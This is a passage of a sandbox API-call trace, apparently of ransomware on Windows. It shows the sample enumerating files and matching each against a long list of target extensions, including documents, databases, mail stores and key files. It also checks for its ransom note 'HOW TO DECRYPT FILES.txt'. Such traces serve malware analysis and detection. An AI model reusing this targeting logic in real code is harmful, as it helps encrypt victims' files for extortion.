(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.html") returned 0 [0119.418] lstrlenA (lpString="*.html") returned 6 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.htm") returned 0 [0119.418] lstrlenA (lpString="*.htm") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.xlsx") returned 0 [0119.419] lstrlenA (lpString="*.xlsx") returned 6 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.xls") returned 0 [0119.419] lstrlenA (lpString="*.xls") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mp4") returned 0 [0119.419] lstrlenA (lpString="*.mp4") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.ppt") returned 0 [0119.419] lstrlenA (lpString="*.ppt") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.pptx") returned 0 [0119.419] lstrlenA (lpString="*.pptx") returned 6 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.doc") returned 0 [0119.419] lstrlenA (lpString="*.doc") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.dot") returned 0 [0119.419] lstrlenA (lpString="*.dot") returned 5 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.docx") returned 0 [0119.419] lstrlenA (lpString="*.docx") returned 6 [0119.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.7z") returned 0 [0119.420] lstrlenA (lpString="*.7z") returned 4 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.tar") returned 0 [0119.420] lstrlenA (lpString="*.tar") returned 5 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.bz2") returned 0 [0119.420] lstrlenA (lpString="*.bz2") returned 5 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.gz") returned 0 [0119.420] lstrlenA (lpString="*.gz") returned 4 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mkv") returned 0 [0119.420] lstrlenA (lpString="*.mkv") returned 5 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.eml") returned 0 [0119.420] lstrlenA (lpString="*.eml") returned 5 [0119.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.msg") returned 0 [0119.421] lstrlenA (lpString="*.msg") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.edb") returned 0 [0119.421] lstrlenA (lpString="*.edb") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.accdb") returned 0 [0119.421] lstrlenA (lpString="*.accdb") returned 7 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.odb") returned 0 [0119.421] lstrlenA (lpString="*.odb") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.java") returned 0 [0119.421] lstrlenA (lpString="*.java") returned 6 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.asm") returned 0 [0119.421] lstrlenA (lpString="*.asm") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.pfx") returned 0 [0119.421] lstrlenA (lpString="*.pfx") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.pem") returned 0 [0119.421] lstrlenA (lpString="*.pem") returned 5 [0119.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.p12") returned 0 [0119.489] lstrlenA (lpString="*.p12") returned 5 [0119.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.gpg") returned 0 [0119.489] lstrlenA (lpString="*.gpg") returned 5 [0119.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.vsd") returned 0 [0119.489] lstrlenA (lpString="*.vsd") returned 5 [0119.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.odg") returned 0 [0119.489] lstrlenA (lpString="*.odg") returned 5 [0119.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.raw") returned 0 [0119.489] lstrlenA (lpString="*.raw") returned 5 [0119.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.nef") returned 0 [0119.490] lstrlenA (lpString="*.nef") returned 5 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.svg") returned 0 [0119.490] lstrlenA (lpString="*.svg") returned 5 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.psd") returned 0 [0119.490] lstrlenA (lpString="*.psd") returned 5 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.vmx") returned 0 [0119.490] lstrlenA (lpString="*.vmx") returned 5 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.vmdk") returned 0 [0119.490] lstrlenA (lpString="*.vmdk") returned 6 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.vdi") returned 0 [0119.490] lstrlenA (lpString="*.vdi") returned 5 [0119.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.lay6") returned 0 [0119.491] lstrlenA (lpString="*.lay6") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mpeg") returned 0 [0119.491] lstrlenA (lpString="*.mpeg") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.djvu") returned 0 [0119.491] lstrlenA (lpString="*.djvu") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.tiff") returned 0 [0119.491] lstrlenA (lpString="*.tiff") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.backup") returned 0 [0119.491] lstrlenA (lpString="*.backup") returned 8 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.pdf") returned 0 [0119.491] lstrlenA (lpString="*.pdf") returned 5 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.cert") returned 0 [0119.491] lstrlenA (lpString="*.cert") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.docm") returned 0 [0119.491] lstrlenA (lpString="*.docm") returned 6 [0119.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.xlsm") returned 0 [0119.492] lstrlenA (lpString="*.xlsm") returned 6 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.dwg") returned 0 [0119.492] lstrlenA (lpString="*.dwg") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.nd") returned 0 [0119.492] lstrlenA (lpString="*.nd") returned 4 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.tlg") returned 0 [0119.492] lstrlenA (lpString="*.tlg") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.lgb") returned 0 [0119.492] lstrlenA (lpString="*.lgb") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mov") returned 0 [0119.492] lstrlenA (lpString="*.mov") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.xdw") returned 0 [0119.492] lstrlenA (lpString="*.xdw") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.ods") returned 0 [0119.492] lstrlenA (lpString="*.ods") returned 5 [0119.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.wav") returned 0 [0119.492] lstrlenA (lpString="*.wav") returned 5 [0119.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mp3") returned 0 [0119.493] lstrlenA (lpString="*.mp3") returned 5 [0119.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.aiff") returned 0 [0119.493] lstrlenA (lpString="*.aiff") returned 6 [0119.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.flac") returned 0 [0119.493] lstrlenA (lpString="*.flac") returned 6 [0119.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.m4a") returned 0 [0119.493] lstrlenA (lpString="*.m4a") returned 5 [0119.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.csv") returned 0 [0119.493] lstrlenA (lpString="*.csv") returned 5 [0119.493] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.493] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.ni.dll.aux") returned -1 [0119.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.ni.dll.aux") returned -1 [0119.493] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.ni.dll.aux") returned -1 [0119.493] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll") returned="System.IdentityModel.ni.dll" [0119.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" [0119.495] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\") returned="" [0119.495] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt" [0119.495] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.identitymodel\\2cad0e4c5f2c49f7723c62e507d9cd73\\how to decrypt files.txt")) returned 0x20 [0119.495] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\", lpString2="System.IdentityModel.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux" [0119.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.495] lstrlenA (lpString="*.ems") returned 5 [0119.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.db") returned 0 [0119.495] lstrlenA (lpString="*.db") returned 4 [0119.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.dbf") returned 0 [0119.495] lstrlenA (lpString="*.dbf") returned 5 [0119.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.myox") returned 0 [0119.495] lstrlenA (lpString="*.myox") returned 6 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.myo") returned 0 [0119.496] lstrlenA (lpString="*.myo") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbw") returned 0 [0119.496] lstrlenA (lpString="*.qbw") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbb") returned 0 [0119.496] lstrlenA (lpString="*.qbb") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbm") returned 0 [0119.496] lstrlenA (lpString="*.qbm") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbo") returned 0 [0119.496] lstrlenA (lpString="*.qbo") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbx") returned 0 [0119.496] lstrlenA (lpString="*.qbx") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qba") returned 0 [0119.496] lstrlenA (lpString="*.qba") returned 5 [0119.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qby") returned 0 [0119.496] lstrlenA (lpString="*.qby") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qbj") returned 0 [0119.497] lstrlenA (lpString="*.qbj") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.ofx") returned 0 [0119.497] lstrlenA (lpString="*.ofx") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.qif") returned 0 [0119.497] lstrlenA (lpString="*.qif") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mye") returned 0 [0119.497] lstrlenA (lpString="*.mye") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mbox") returned 0 [0119.497] lstrlenA (lpString="*.mbox") returned 6 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.497] lstrlenA (lpString="*.eml") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.pst") returned 0 [0119.497] lstrlenA (lpString="*.pst") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.ost") returned 0 [0119.497] lstrlenA (lpString="*.ost") returned 5 [0119.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.idx") returned 0 [0119.497] lstrlenA (lpString="*.idx") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.dbx") returned 0 [0119.498] lstrlenA (lpString="*.dbx") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.sql") returned 0 [0119.498] lstrlenA (lpString="*.sql") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mdb") returned 0 [0119.498] lstrlenA (lpString="*.mdb") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.fdb") returned 0 [0119.498] lstrlenA (lpString="*.fdb") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.wab") returned 0 [0119.498] lstrlenA (lpString="*.wab") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.dat") returned 0 [0119.498] lstrlenA (lpString="*.dat") returned 5 [0119.498] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.txt") returned 0 [0119.499] lstrlenA (lpString="*.txt") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0119.499] lstrlenA (lpString="*.jpeg") returned 6 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.jpg") returned 0 [0119.499] lstrlenA (lpString="*.jpg") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.png") returned 0 [0119.499] lstrlenA (lpString="*.png") returned 5 [0119.499] PathMatchSpecA 